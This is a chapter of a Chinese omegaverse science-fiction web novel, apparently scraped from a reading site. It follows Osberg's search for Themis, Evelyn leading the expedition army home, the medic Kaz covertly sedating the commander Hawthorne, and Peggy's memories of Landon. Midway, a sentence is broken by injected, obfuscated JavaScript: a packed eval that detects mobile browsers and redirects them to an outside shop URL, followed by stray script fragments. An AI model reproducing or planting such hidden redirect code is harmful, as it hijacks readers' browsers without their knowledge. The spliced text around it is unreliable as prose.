奥斯伯格来之前喝下了兰登给他的致幻药剂,看见了赫利家族的历任执政官,对他劈头盖脸一顿骂,之后又经历了爆炸,正处在一片眩晕之中。
忒弥斯在哪里?
他的眼前浮现一些零碎的片段,比如年轻的他正在国会的主席台上,听着大臣们关于收服叛军的议案,流光溢彩的圆形屋顶忽然被炸破,战机落地国会中央,少女单手攀着机顶跳出来,黑洞洞的枪口对准他。
比如一次大战之中,一颗子弹至上而下穿透他的肩膀,而他抬眼看去,只看到塔楼上匆匆离开的声影,深红的头发扎成高马尾,在装束利落的腰身之后,在他心里划成一个痴狂的弧度。
伊芙琳再像她,也不是她,整个宇宙没有一个人是她,只有她是忒弥斯。
奥斯伯格感到头痛欲裂,面对和忒弥斯同样的,棕红的瞳孔,他的身体里有浓重的痛苦翻滚,一时张口难言。
“我……我不知道,忒弥斯在哪里。”
忒弥斯在古堡的地牢里死去,然后不知所踪,奥斯伯格从母亲温莎那里学会了傀儡术,却无论如何也找不到忒弥斯的尸体。
这些年来,无论他暗中派出多少人,在帝国范围内秘密调查,派人潜入地下城,把派军的大营翻个底朝天,甚至组织远征军,远涉还没有人踏足过的荒芜星。
上天下地,他只想把忒弥斯找出来,只想,再见她一面。
……
勒斯特帝国的最新变动还没有传到远征军中,伊芙琳已经决定立即带着远征军回国。
因为霍索恩主帅的情况突然恶化,急需接受手术处理伤口,在荒芜星没有做手术的条件。还因为,远征军执行任务的时间已经到了。
回程需要花费半个月的时间,在接近勒斯特帝国的路途中,士兵们的通讯设备突然有了讯号,都收到了叛军炸毁荣誉广场雕塑,以及奥斯伯格当众下跪忏悔的信息。
佩姬跳起来:“我就说了,所有坏事都是奥斯伯格干的,跟兰登没有关系!”
“现在执政官大人在兰登的手上,当然他要做什么就做什么,你怎么知道不是兰登逼他下跪的,为了把所有罪行推到他身上。”
“总之不会是兰登!”
佩姬在科蒂斯星球为了兰登和一位将军打到鼻青脸肿,最后还是重伤的霍索恩主帅出来做了和事佬,因此在座众人都不想和她争论,说不定会被她打一顿。
伊芙琳这时进入船舱,带来了意外的下午茶。
虽然只是简单的汽水和甜品,但对于远征军来说,已经是天大的美食。伊芙琳也是看快要回到首都星了,叫人清点了一下随行物资,发现还有一包遗漏在仓库里没有拆封过的食品。
要知道在最后一站科蒂斯星,远征军省吃俭用,一块馒头掰成两顿吃,饿得几乎要挖野菜了。
伊芙琳赶紧叫人把这些食物分了,因为一旦回国,好吃的可就多了,远征军就看不上这些了。
士兵们拿到食物,纷纷大喊:“指挥官万岁!”
伊芙琳把一罐汽水递给佩姬:“怎么气鼓鼓的?”
佩姬打开汽水,“咕噜噜”灌下去:“还不是他们,又在说兰登大人的坏话。”
旁边有人说:“要我说,赫利家族都是一丘之貉,不对,咱们英明的指挥官大人,不也姓赫利么……指挥官大人,您这次回国,一定要把失去的王位抢回来,我们绝对支持您!”
远征军们长期在国外执行任务,只习惯于服从上级的命令,本来就不太在乎奥斯伯格或是赫利家族,现在主帅霍索恩倒下了,他们自然就唯伊芙琳是从。
而且,伊芙琳本身也是个很出色的领导者,果断而有魄力,能让人打心眼里听她的话。
看到赫利家族的那些烂事儿,远征军众人更觉得,如果非要在赫利家族选一个新的执政官,那么他们的指挥官,肯定比兰登合适。
伊芙琳但笑不语,把佩姬拉到角落,变戏法似的变出一块小蛋糕:“特意给你留的,别生气了。”
在众人不曾留意的时候,卡兹切断机舱上的监控,进入霍索恩的房间。
“主帅,下午好,我来为您复诊。”卡兹打开医疗包,戴上听筒,去听霍索恩的心跳。
相比刚受伤的时候,霍索恩的情况变得更差,全身浮肿,因为并发症而失去说话的能力,两只凸出的眼睛紧盯着卡兹的动作。
“心跳非常正常,主帅,我来替您打一支营养针。”
卡兹推动一支针剂,把针孔扎进霍索恩的血管。
霍索恩搭在椅子上的手突然剧烈抖动,卡兹用力摁住:“主帅,请不要乱动,不然针管可能会扎穿血管,药剂会进入血液。”
霍索恩哼着粗气,呼吸越来越重,渐渐不再动弹,脑袋歪在椅子上,晕死过去。
……
远征军落地勒斯特帝国的那天是个阴雨天,士兵们都高高兴兴地收拾东西回家。
因为行程保密,没有无关的人来打扰。
卡兹最近一直忙着照顾远征军中的伤员,一直不见人影,他一跳下飞船就脚步匆匆,路过伊芙琳的时候拍了拍她的肩膀:“我护送霍索恩主帅去医院。”
伊芙琳撑着伞,走向雨中站着,看着众人离开的佩姬:“怎么不回家?”
佩姬摇头:“不想回,没意思。”她说起家里的频繁出轨的alpha妈妈和软弱的omega爸爸,爸爸在生弟弟的时候忧思过重,导致弟弟先天疾病缠身。
“我加入远征军,是想用命换钱,给我弟弟治病,但是,在我第一次出任务的时候,弟弟病逝了。”
伊芙琳单手抱了抱她:“很抱歉听到你说这些。”
她在拥抱她的同时,雨伞完全向她倾斜,遮挡住淅淅沥沥的雨水,带来一阵清润的玫瑰香。
佩姬知道这是她的信息素的味道,在作战的时候闻到过,她现在没有散发信息素,所以这味道是从她的发肤里渗透出来的。
作为信息素普普通通,甚至有点呛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234828|151410||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
鼻的女alpha,佩姬有点羡慕。
“谢谢你。”佩姬在心里小声说。
“伊芙琳。”
伊芙琳转头,和佩姬同时看向来人。
兰登撑一把黑伞,黑色领带、西服和皮鞋,握着伞柄的手掌又是近乎透明的玉白,强烈的色彩对比,让他站在朦胧的雨中美得像一幅画。
他笑容浅淡,看向两位女alpha。
佩姬的脸渐渐发烫,这和她认识的兰登大人不太一样,又说不出具体哪里不一样。
伊芙琳把伞留给佩姬,朝兰登跑过去,钻到他的伞下。
“兰登,你怎么来了?”
兰登对愣住的佩姬点头,转身,同时握住伊芙琳的胳膊把她拉近一点,确保她整个人都在雨伞下面。
他们之间没有很多的肢体接触,一触即离,甚至称得上克制,但是伊芙琳走在兰登身边,脚步轻松,不时扯扯身边人的衣袖对他说什么,兰登会微微低头倾听她的话。两人的目光对上的瞬间,那种亲近的氛围感,让人难忘。
佩姬撑着伊芙琳留下的雨伞,加快的心跳久久没能平复。
她怎么会一直听信坊间传闻,觉得兰登和伊芙琳的关系不好呢?似乎人们天然认为,在那样一个家庭里的两个最小的孩子,一定会为了抢夺资源而打得头破血流,从来没想过他们私下这么亲密。
可是……兰登他是个omega啊,伊芙琳应该是知道的吧,他们是不是应该避避嫌?
佩姬独自一人走在熟悉的首都街道上,雨幕之中夜色渐深,城市灯光亮起,因为连日的叛军动乱,街上没有多少行人,她想起第一次见到兰登大人的场景。
她的弟弟生了重病,omega爸爸因为妈妈的出轨而心灰意冷,家里一贫如洗,她抱着弟弟求医生为他医治。
她在光滑的医院地面上磕了几百个头,来来往往的人很多,都穿着锃亮的皮鞋从她面前走过,没有人理会她。
直到兰登博士出现。他面色冷淡,倾身查看了了弟弟的瞳孔,试探了他的脉搏。
“送进我的实验室吧。”他对助手说。
佩姬的爸爸在郁结中病逝,她发誓,绝不会像他那样柔弱,即使只有她一个人,她也会咬牙活下去,而且,她还有弟弟。
她应聘了远征军,“兰登大人,我准备加入远征军。”
“会很辛苦。”
“我已经麻烦你很多了,往后,我会用自己的双手,为弟弟挣医疗费用。”佩姬握紧拳头,“我再也不会让任何人欺负我们。”
“我相信你。”兰登重新回到病例的研究中,“佩姬,你会做的很好的。”
兰登博士从头到尾,都冷冷淡淡,一如萦绕在他身上的白茶冷香,但佩姬由衷地感到温暖,称得上是,她十多年生命中唯一的暖意。
因为什么都没有,只有一双手,她砍断沿途满地荆棘,一步步向上爬。
从前是为了弟弟,弟弟病逝之后,是为了,兰登。